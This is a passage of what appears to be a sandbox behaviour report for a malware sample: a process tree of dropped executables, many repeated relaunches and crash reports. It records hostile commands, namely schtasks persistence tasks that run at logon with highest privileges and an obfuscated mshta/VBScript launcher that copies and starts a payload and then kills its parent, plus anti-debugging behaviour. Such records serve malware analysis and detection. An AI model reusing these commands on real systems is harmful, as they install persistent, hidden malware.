"C:\Users\Admin\Documents\YNoV9DD0HJeUfa2cexjpQxMU.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4076

C:\Users\Admin\Documents\JjSCu82ovNi2I3gZtNKOSOYV.exe
"C:\Users\Admin\Documents\JjSCu82ovNi2I3gZtNKOSOYV.exe"
2⤵
- Executes dropped EXE
PID:4828

C:\Users\Admin\Documents\d7nxUIamT66Dlsgg7msaUJvx.exe
"C:\Users\Admin\Documents\d7nxUIamT66Dlsgg7msaUJvx.exe"
2⤵
- Executes dropped EXE
PID:4756

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:3300

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:2456

C:\Users\Admin\Documents\PmowFgflgwpO3w3iBU9Y4YnO.exe
"C:\Users\Admin\Documents\PmowFgflgwpO3w3iBU9Y4YnO.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1904

C:\Users\Admin\Documents\8thj38R25wqxTEVXQqLPXrCa.exe
"C:\Users\Admin\Documents\8thj38R25wqxTEVXQqLPXrCa.exe"
2⤵
- Executes dropped EXE
PID:1504

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\Documents\8thj38R25wqxTEVXQqLPXrCa.exe"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if """"== """" for %m in ( ""C:\Users\Admin\Documents\8thj38R25wqxTEVXQqLPXrCa.exe"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))
3⤵
PID:3320

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\Documents\8thj38R25wqxTEVXQqLPXrCa.exe" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi& if ""== "" for %m in ("C:\Users\Admin\Documents\8thj38R25wqxTEVXQqLPXrCa.exe" ) do taskkill /iM "%~NXm" -F
4⤵
PID:4684

C:\Windows\SysWOW64\taskkill.exe
taskkill /iM "8thj38R25wqxTEVXQqLPXrCa.exe" -F
5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5196

C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE
IQ0v_FE_.ExE -poRsuYEMryiLi
5⤵
- Executes dropped EXE
PID:2060

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" VHTDDahA.G,XBvVyh
6⤵
- Loads dropped DLL
PID:5552

C:\Users\Admin\Documents\jV2gGv4Tv1hODxCmkwFIm2SC.exe
"C:\Users\Admin\Documents\jV2gGv4Tv1hODxCmkwFIm2SC.exe"
2⤵
- Executes dropped EXE
PID:1492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1492 -s 280
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4672

C:\Users\Admin\Documents\WHoLWEO0CFbdAtlN7HTKzKCw.exe
"C:\Users\Admin\Documents\WHoLWEO0CFbdAtlN7HTKzKCw.exe"
2⤵
- Executes dropped EXE
PID:3428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3428 -s 236
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4236

C:\Users\Admin\Documents\DAR2gT5USYSgOlkLHiQ5Ibhx.exe
"C:\Users\Admin\Documents\DAR2gT5USYSgOlkLHiQ5Ibhx.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2788

C:\Users\Admin\Documents\9G06nUnsYSXedp8fNlz3CfEQ.exe
"C:\Users\Admin\Documents\9G06nUnsYSXedp8fNlz3CfEQ.exe"
2⤵
- Executes dropped EXE
PID:996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 996 -s 272
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1352

C:\Users\Admin\Documents\uBN1ITfzvkAYUZfRvt_zGg_E.exe
"C:\Users\Admin\Documents\uBN1ITfzvkAYUZfRvt_zGg_E.exe"
2⤵
- Executes dropped EXE
PID:2444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2444 -s 280
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3024

C:\Users\Admin\Documents\kM_zMZ2q6JSoO00frsBoRw47.exe
"C:\Users\Admin\Documents\kM_zMZ2q6JSoO00frsBoRw47.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2428

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
"C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2132

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
- Executes dropped EXE
PID:664

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
- Executes dropped EXE
PID:5404

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
- Executes dropped EXE
PID:1728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1728 -s 28
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5944

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
- Executes dropped EXE
PID:5152

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
- Executes dropped EXE
PID:4592

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
- Executes dropped EXE
PID:5592

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5984

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6132

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:4188

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:3572

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6576

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7044 -s 28
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6424

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6700

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:3252

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7172

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7800

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6384

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7996

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7724

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7012

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6096

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7468

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:228

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5436

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5856

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:920

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7412

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:4224

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:996

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:1740

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5544

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5016

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:1452

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:2124

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7028

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:1360

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
- Checks whether UAC is enabled
- Drops file in Program Files directory
PID:1452

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:1736

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:2028

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:3704

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:836

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6416

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7108

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:3396

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6276

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:3208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3208 -s 28
4⤵
- Program crash
PID:2676

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6044

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6880

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8128

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:2716

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 8404 -s 28
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:8932

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 8856 -s 28
4⤵
- Program crash
PID:8432

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 8252 -s 28
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:8904

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8928

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8728

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:3208

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:4484

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8652

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:1624

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8324

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8700

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5952 -s 28
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6612

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8776

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7780

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:4348

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:1856

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:1908

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5348 -s 28
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3312

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6900

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6004

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8044

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:2144

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7488

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:4996

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7820

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:4500

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9068

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8812

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:4256

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7488

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:960

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6852

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:1252

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6124

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:4012

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:1508

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6880

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:2228

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6476

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:3596

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5172

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6560

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8956

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8412

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9492

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 9752 -s 28
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:10148

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10116

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9304

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7284

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9284

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9600

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 9600 -s 28
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7208

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9508

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5636

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9816

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7604

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8492

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8036

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:2948

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5808

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7400

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5248

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9032

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10256

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
